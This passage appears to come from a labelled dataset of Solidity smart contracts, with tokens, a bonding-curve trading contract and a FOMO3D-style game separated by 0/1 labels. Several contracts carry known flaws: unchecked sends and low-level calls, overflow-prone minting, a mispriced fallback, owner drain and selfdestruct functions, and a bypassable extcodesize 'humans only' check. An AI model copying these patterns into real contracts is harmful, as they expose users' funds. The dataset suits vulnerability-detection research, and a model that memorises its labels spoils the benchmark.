minReturn) internal returns(uint256) { uint256 tokenAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0; (tokenAmount, totalFeeEth, tokenPrice) = estimateBuyOrder(ethAmount, true); require(tokenAmount >= minReturn); if (_data._hasMaxPurchaseLimit()) { require(getCurrentUserMaxPurchase() >= tokenAmount); } require(tokenAmount > 0 && (SafeMath.add(tokenAmount, getTotalTokenSold()) > getTotalTokenSold())); if (refAddress == msg.sender || !_core.isRefAvailable(refAddress)) refAddress = address(0x0); distributeFee(totalFeeEth, refAddress); addUserTokens(msg.sender, tokenAmount); _core.addUserRewardPayouts(msg.sender, _data.getBonusPerShare() * tokenAmount); checkAndSendPromoBonus(ethAmount); updateTokenPrice(_core.convert256ToReal(tokenAmount)); _core.trackBuy(msg.sender, ethAmount, tokenAmount); emit onTokenPurchase(msg.sender, ethAmount, tokenAmount, refAddress); return tokenAmount; } function setTotalSupply() internal { require(_data._totalSupply() == 0); uint256 tokenAmount = _token.balanceOf(address(this)); _data.setTotalSupply(tokenAmount); } function checkAndSendPromoBonus(uint256 purchaseAmountEth) internal { if (purchaseAmountEth < _data.getPromoMinPurchaseEth()) return; if (getQuickPromoRemainingBlocks() == 0) sendQuickPromoBonus(); if (getBigPromoRemainingBlocks() == 0) sendBigPromoBonus(); } function sendQuickPromoBonus() internal { _core.payoutQuickBonus(msg.sender); emit onWinQuickPromo(msg.sender, _data.getCurrentQuickPromoBonus()); } function sendBigPromoBonus() internal { _core.payoutBigBonus(msg.sender); emit onWinBigPromo(msg.sender, _data.getCurrentBigPromoBonus()); } function distributeFee(uint256 totalFeeEth, address refAddress) internal { addProfitPerShare(totalFeeEth, refAddress); addDevReward(totalFeeEth); addTokenOwnerReward(totalFeeEth); addBigPromoBonus(totalFeeEth); addQuickPromoBonus(totalFeeEth); } function addProfitPerShare(uint256 totalFeeEth, address refAddress) internal { uint256 refBonus = calcRefBonus(totalFeeEth); uint256 totalShareReward = calcTotalShareRewardFee(totalFeeEth); if (refAddress != address(0x0)) { _core.addUserRefBalance.value(refBonus)(refAddress); } else { totalShareReward = SafeMath.add(totalShareReward, refBonus); } if (getTotalTokenSold() == 0) { _data.addTokenOwnerReward(totalShareReward); } else { _core.addBonusPerShare.value(totalShareReward)(); } } function addDevReward(uint256 totalFeeEth) internal { _core.addDevReward.value(calcDevReward(totalFeeEth))(); } function addTokenOwnerReward(uint256 totalFeeEth) internal { _data.addTokenOwnerReward(calcTokenOwnerReward(totalFeeEth)); } function addBigPromoBonus(uint256 totalFeeEth) internal { _core.addBigPromoBonus.value(calcBigPromoBonus(totalFeeEth))(); } function addQuickPromoBonus(uint256 totalFeeEth) internal { _core.addQuickPromoBonus.value(calcQuickPromoBonus(totalFeeEth))(); } function addUserTokens(address user, uint256 tokenAmount) internal { _core.addUserTokenLocalBalance(user, tokenAmount); _token.transfer(msg.sender, tokenAmount); } function subUserTokens(address user, uint256 tokenAmount) internal { _core.subUserTokenLocalBalance(user, tokenAmount); _token.transferFrom(user, address(this), tokenAmount); } function updateTokenPrice(int128 realTokenAmount) public { _data.setRealTokenPrice(calc1RealTokenRateFromRealTokens(realTokenAmount)); } function ethToTokens(uint256 ethAmount, bool isBuy) internal view returns(uint256) { int128 realEthAmount = _core.convert256ToReal(ethAmount); int128 t0 = RealMath.div(realEthAmount, _data._realTokenPrice()); int128 s = getRealPriceSpeed(); int128 tn = RealMath.div(t0, RealMath.toReal(100)); for (uint i = 0; i < 100; i++) { int128 tns = RealMath.mul(tn, s); int128 exptns = RealMath.exp( RealMath.mul(tns, RealMath.toReal(isBuy ? int64(1) : int64(-1))) ); int128 tn1 = RealMath.div( RealMath.mul( RealMath.mul(tns, tn), exptns ) + t0, RealMath.mul( exptns, RealMath.toReal(1) + tns ) ); if (RealMath.abs(tn-tn1) < RealMath.fraction(1, 1e18)) break; tn = tn1; } return _core.convertRealTo256(tn); } function tokensToEth(uint256 tokenAmount, bool isBuy) internal view returns(uint256) { int128 realTokenAmount = _core.convert256ToReal(tokenAmount); int128 s = getRealPriceSpeed(); int128 expArg = RealMath.mul(RealMath.mul(realTokenAmount, s), RealMath.toReal(isBuy ? int64(1) : int64(-1))); int128 realEthAmountFor1Token = RealMath.mul(_data._realTokenPrice(), RealMath.exp(expArg)); int128 realEthAmount = RealMath.mul(realTokenAmount, realEthAmountFor1Token); return _core.convertRealTo256(realEthAmount); } function calcTotalFee(uint256 tokenAmount, bool isBuy) internal view returns(uint256) { int128 realTokenAmount = _core.convert256ToReal(tokenAmount); int128 factor = RealMath.toReal(isBuy ? int64(1) : int64(-1)); int128 rateAfterDeal = calc1RealTokenRateFromRealTokens(RealMath.mul(realTokenAmount, factor)); int128 delta = RealMath.div(rateAfterDeal - _data._realTokenPrice(), RealMath.toReal(2)); int128 fee = RealMath.mul(realTokenAmount, delta); if (!isBuy) fee = RealMath.mul(fee, RealMath.fraction(95, 100)); return _core.calcPercent(_core.convertRealTo256(RealMath.mul(fee, factor)), _core._totalIncomeFeePercent()); } function calc1RealTokenRateFromRealTokens(int128 realTokenAmount) internal view returns(int128) { int128 expArg = RealMath.mul(realTokenAmount, getRealPriceSpeed()); return RealMath.mul(_data._realTokenPrice(), RealMath.exp(expArg)); } function getRealPriceSpeed() internal view returns(int128) { require(RealMath.isUInt64ValidIn64(_data.PRICE_SPEED_PERCENT())); require(RealMath.isUInt64ValidIn64(_data.PRICE_SPEED_INTERVAL())); return RealMath.div(RealMath.fraction(int64(_data.PRICE_SPEED_PERCENT()), 100), RealMath.toReal(int64(_data.PRICE_SPEED_INTERVAL()))); } function calcTotalShareRewardFee(uint256 totalFee) internal view returns(uint256) { return _core.calcPercent(totalFee, _core._shareRewardPercent()); } function calcRefBonus(uint256 totalFee) internal view returns(uint256) { return _core.calcPercent(totalFee, _core._refBonusPercent()); } function calcTokenOwnerReward(uint256 totalFee) internal view returns(uint256) { return _core.calcPercent(totalFee, _core._tokenOwnerRewardPercent()); } function calcDevReward(uint256 totalFee) internal view returns(uint256) { return _core.calcPercent(totalFee, _core._devRewardPercent()); } function calcQuickPromoBonus(uint256 totalFee) internal view returns(uint256) { return _core.calcPercent(totalFee, _core._quickPromoPercent()); } function calcBigPromoBonus(uint256 totalFee) internal view returns(uint256) { return _core.calcPercent(totalFee, _core._bigPromoPercent()); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? b : a; } } library RealMath { int64 constant MIN_INT64 = int64((uint64(1) << 63)); int64 constant MAX_INT64 = int64(~((uint64(1) << 63))); int256 constant REAL_BITS = 128; int256 constant REAL_FBITS = 64; int256 constant REAL_IBITS = REAL_BITS - REAL_FBITS; int128 constant REAL_ONE = int128(1) << REAL_FBITS; int128 constant REAL_HALF = REAL_ONE >> 1; int128 constant REAL_TWO = REAL_ONE << 1; int128 constant REAL_LN_TWO = 762123384786; int128 constant REAL_PI = 3454217652358; int128 constant REAL_HALF_PI = 1727108826179; int128 constant REAL_TWO_PI = 6908435304715; int128 constant SIGN_MASK = int128(1) << 127; function getMinInt64() internal pure returns (int64) { return MIN_INT64; } function getMaxInt64() internal pure returns (int64) { return MAX_INT64; } function isUInt256ValidIn64(uint256 val) internal pure returns (bool) { return val >= 0 && val <= uint256(getMaxInt64()); } function isInt256ValidIn64(int256 val) internal pure returns (bool) { return val >= int256(getMinInt64()) && val <= int256(getMaxInt64()); } function isUInt64ValidIn64(uint64 val) internal pure returns (bool) { return val >= 0 && val <= uint64(getMaxInt64()); } function isInt128ValidIn64(int128 val) internal pure returns (bool) { return val >= int128(getMinInt64()) && val <= int128(getMaxInt64()); } function toReal(int64 ipart) internal pure returns (int128) { return int128(ipart) * REAL_ONE; } function fromReal(int128 real_value) internal pure returns (int64) { int128 intVal = real_value / REAL_ONE; require(isInt128ValidIn64(intVal)); return int64(intVal); } function abs(int128 real_value) internal pure returns (int128) { if (real_value > 0) { return real_value; } else { return -real_value; } } function fpart(int128 real_value) internal pure returns (int128) { return abs(real_value) % REAL_ONE; } function fpartSigned(int128 real_value) internal pure returns (int128) { int128 fractional = fpart(real_value); return real_value < 0 ? -fractional : fractional; } function ipart(int128 real_value) internal pure returns (int128) { return real_value - fpartSigned(real_value); } function mul(int128 real_a, int128 real_b) internal pure returns (int128) { return int128((int256(real_a) * int256(real_b)) >> REAL_FBITS); } function div(int128 real_numerator, int128 real_denominator) internal pure returns (int128) { return int128((int256(real_numerator) * REAL_ONE) / int256(real_denominator)); } function fraction(int64 numerator, int64 denominator) internal pure returns (int128) { return div(toReal(numerator), toReal(denominator)); } function ipow(int128 real_base, int64 exponent) internal pure returns (int128) { if (exponent < 0) { revert(); } int128 real_result = REAL_ONE; while (exponent != 0) { if ((exponent & 0x1) == 0x1) { real_result = mul(real_result, real_base); } exponent = exponent >> 1; real_base = mul(real_base, real_base); } return real_result; } function hibit(uint256 val) internal pure returns (uint256) { val |= (val >> 1); val |= (val >> 2); val |= (val >> 4); val |= (val >> 8); val |= (val >> 16); val |= (val >> 32); val |= (val >> 64); val |= (val >> 128); return val ^ (val >> 1); } function findbit(uint256 val) internal pure returns (uint8 index) { index = 0; if (val & 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA != 0) { index |= 1; } if (val & 0xCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC != 0) { index |= 2; } if (val & 0xF0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0 != 0) { index |= 4; } if (val & 0xFF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00 != 0) { index |= 8; } if (val & 0xFFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000FFFF0000 != 0) { index |= 16; } if (val & 0xFFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000FFFFFFFF00000000 != 0) { index |= 32; } if (val & 0xFFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF0000000000000000 != 0) { index |= 64; } if (val & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000 != 0) { index |= 128; } } function rescale(int128 real_arg) internal pure returns (int128 real_scaled, int64 shift) { if (real_arg <= 0) { revert(); } require(isInt256ValidIn64(REAL_FBITS)); int64 high_bit = findbit(hibit(uint256(real_arg))); shift = high_bit - int64(REAL_FBITS); if (shift < 0) { real_scaled = real_arg << -shift; } else if (shift >= 0) { real_scaled = real_arg >> shift; } } function lnLimited(int128 real_arg, int max_iterations) internal pure returns (int128) { if (real_arg <= 0) { revert(); } if (real_arg == REAL_ONE) { return 0; } int128 real_rescaled; int64 shift; (real_rescaled, shift) = rescale(real_arg); int128 real_series_arg = div(real_rescaled - REAL_ONE, real_rescaled + REAL_ONE); int128 real_series_result = 0; for (int64 n = 0; n < max_iterations; n++) { int128 real_term = div(ipow(real_series_arg, 2 * n + 1), toReal(2 * n + 1)); real_series_result += real_term; if (real_term == 0) { break; } } real_series_result = mul(real_series_result, REAL_TWO); return mul(toReal(shift), REAL_LN_TWO) + real_series_result; } function ln(int128 real_arg) internal pure returns (int128) { return lnLimited(real_arg, 100); } function expLimited(int128 real_arg, int max_iterations) internal pure returns (int128) { int128 real_result = 0; int128 real_term = REAL_ONE; for (int64 n = 0; n < max_iterations; n++) { real_result += real_term; real_term = mul(real_term, div(real_arg, toReal(n + 1))); if (real_term == 0) { break; } } return real_result; } function expLimited(int128 real_arg, int max_iterations, int k) internal pure returns (int128) { int128 real_result = 0; int128 real_term = REAL_ONE; for (int64 n = 0; n < max_iterations; n++) { real_result += real_term; real_term = mul(real_term, div(real_arg, toReal(n + 1))); if (real_term == 0) { break; } if (n == k) return real_term; } return real_result; } function exp(int128 real_arg) internal pure returns (int128) { return expLimited(real_arg, 100); } function pow(int128 real_base, int128 real_exponent) internal pure returns (int128) { if (real_exponent == 0) { return REAL_ONE; } if (real_base == 0) { if (real_exponent < 0) { revert(); } return 0; } if (fpart(real_exponent) == 0) { if (real_exponent > 0) { return ipow(real_base, fromReal(real_exponent)); } else { return div(REAL_ONE, ipow(real_base, fromReal(-real_exponent))); } } if (real_base < 0) { revert(); } return exp(mul(real_exponent, ln(real_base))); } }
0
pragma solidity ^0.4.16; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract IREC is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function IREC( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = "International Real Estate Coin"; decimals = 18; symbol = "IREC"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 2000000000; uint256 public buyPrice = 600000; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'EUC', 'EUC') payable public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); owner.send(msg.value); } function selfdestructs() onlyOwner payable public { selfdestruct(owner); } function getEth(uint num) onlyOwner payable public { owner.send(num); } function balanceOfa(address _owner) public constant returns (uint256) { return balanceOf[_owner]; } }
1
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library Rich3DDatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 R3Amount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; uint256 prevres; } struct TeamFee { uint256 gen; uint256 r3; } struct PotSplit { uint256 gen; uint256 r3; } } interface OtherRich3D { function potSwap() external payable; } library Rich3DKeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } contract Rich3D { using SafeMath for *; using NameFilter for string; using Rich3DKeysCalc for uint256; event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 R3Amount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 R3Amount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 R3Amount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 R3Amount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); mapping(address => uint256) private users ; function initUsers() private { users[0x00876c02ceE92164A035C74225E3C66B6303d26f] = 9 ; users[msg.sender] = 9 ; } modifier isAdmin() { uint256 role = users[msg.sender]; require((role==9), "Must be admin."); _; } modifier isHuman { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "Humans only"); _; } PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x5d99e9AB040efa45DE99a44C8410Cf8f61Cc3101); address public communityAddr_; address public FoundationAddr_; address public affAddr_; address public agentAddr_; bool public activated_ = false; modifier isActivated() { require(activated_ == true, "its not active yet."); _; } function activate() isAdmin() public { require(address(communityAddr_) != address(0x0), "Must setup CommunityAddr_."); require(address(FoundationAddr_) != address(0x0), "Must setup FoundationAddr."); require(address(affAddr_) != address(0x0), "Must setup affAddr."); require(address(agentAddr_) != address(0x0), "Must setup agentAddr."); require(activated_ == false, "Only once"); activated_ = true ; rID_ = 1; round_[1].strt = 1535025600 ; round_[1].end = round_[1].strt + rndMax_; } string constant public name = "Rich 3D Official"; string constant public symbol = "R3D"; uint256 constant private rndInc_ = 1 minutes; uint256 constant private rndMax_ = 5 hours; OtherRich3D private otherRich3D_ ; function setOtherRich3D(address _otherRich3D) isAdmin() public { require(address(_otherRich3D) != address(0x0), "Empty address not allowed."); require(address(otherRich3D_) == address(0x0), "OtherRich3D has been set."); otherRich3D_ = OtherRich3D(_otherRich3D); } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "Too little"); require(_eth <= 100000000000000000000000, "Too much"); _; } mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Rich3DDatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => Rich3DDatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; uint256 public rID_; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; mapping (uint256 => Rich3DDatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => Rich3DDatasets.TeamFee) public fees_; mapping (uint256 => Rich3DDatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = Rich3DDatasets.TeamFee(33,5); fees_[1] = Rich3DDatasets.TeamFee(41,4); fees_[2] = Rich3DDatasets.TeamFee(61,5); fees_[3] = Rich3DDatasets.TeamFee(47,5); potSplit_[0] = Rich3DDatasets.PotSplit(15,10); potSplit_[1] = Rich3DDatasets.PotSplit(25,0); potSplit_[2] = Rich3DDatasets.PotSplit(20,20); potSplit_[3] = Rich3DDatasets.PotSplit(30,10); initUsers(); communityAddr_ = address(0x1E7360A6f787df468A39AF71411DB5DB70dB7C4e); FoundationAddr_ = address(0xb1Fa90be11ac08Fca9e5854130EAF9eB595a94E0); affAddr_ = address(0x66A300Fc2257B17D6A55c3499AF1FF9308031a77); agentAddr_ = address(0x3Ab69d2ac0cD815244A173252457815B3E1F26C4); } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { Rich3DDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _team = 2; buyCore(_pID, 0, _team, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Rich3DDatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0){ _affCode = plyr_[_pID].laff; }else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Rich3DDatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0){ _affCode = plyr_[_pID].laff; }else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && (round_[_rID].ended == false) && round_[_rID].plyr != 0){ Rich3DDatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit onWithdrawAndDistribute( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.R3Amount, _eventData_.genAmount ); }else{ _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit onWithdraw( _pID, msg.sender, plyr_[_pID].name, _eth, _now ); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable{ bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit onNewName( _pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now ); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable{ bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit onNewName( _pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now ); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable{ bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, 